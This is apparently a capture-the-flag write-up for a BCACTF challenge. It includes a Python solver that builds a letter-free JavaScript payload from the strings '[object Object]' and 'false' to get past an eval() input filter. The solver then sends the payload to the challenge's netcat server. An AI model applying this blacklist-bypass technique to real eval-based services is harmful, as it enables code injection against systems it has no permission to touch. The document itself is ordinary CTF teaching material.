
When we connect to this netcat instance (it’s the only bit of information we have), we get the following:

So, it’s pretty obvious what we need to do. Underneath the challenge description are three hints:
- My calculator function uses eval().
- You can use “[]+” to essentially cast something to a string.
- To solve, you will need letters from “[object Object]” and “false”.
The catch here is that, in this javascript shell (which executes whatever we supply as javascript code; provided our input is <= 45 chars), we cannot enter letters, backticks, backslashes, and quotation marks.

However, given hints 2 and 3, it gives us an idea. If we can somehow get the words “[object Object]” and “false” as strings, we can access these strings via special indexes, then concatenate these together until we spell out the word “bcactf”.
from subprocess import check_output
import os
#we cannot supply any quotation marks, backlashes, letters, or backticks. we can supply anything else
#as specified in hint 2, if we perform (something)+[], we will get a string. we also need the keywords "false" and "[object Object]"
#we can get "false" easily, such as by performing (!1). then, ((!1)+[]) will be turned from KEYWORD `false` to STRING "false"
#the [object Object] part is alot more tricky, but I eventually nailed it down
#since objects are just key-value pairs, we can create one making a key-value pair (empty of course), since we have the input limit
#then we stringify this via the +[] method
#define those here
false = "!1+[]"
obj = "{}+[]"
#now, to lower character count, we are going to use variables
#assign the object to a variable "_"
payload = f"_={obj};"
obj = "_"
#do the same for "false"
payload += f"$={false};"
false = "$"
#simple function to make obtaining the letters easier
find_in_obj = lambda c: f"{obj}[{'[object Object]'.index(c)}]"
find_in_false = lambda c: f"{false}[{'false'.index(c)}]"
#now, we spell out bcactf by getting the indexes of those (now strings)
payload += "+".join([
find_in_obj("b"),
find_in_obj("c"),
find_in_false("a"),
find_in_obj("c"),
find_in_obj("t"),
find_in_false("f")
])
#perform a sanity check
output = check_output(["bash", "-c", f"node <<< 'console.log(eval(\"{payload}\"))'"])
if b"bcactf" not in output:
print(f"PAYLOAD INVALID! {output} was returned; NOT 'bcactf'!")
exit()
#print out the payload
print(payload)
if len(payload) > 45:
print(f"Error; payload length is {len(payload)}!")
exit()
#now we can submit this to the server
os.system(f"echo '{payload}' | nc misc.bcactf.com 49156")
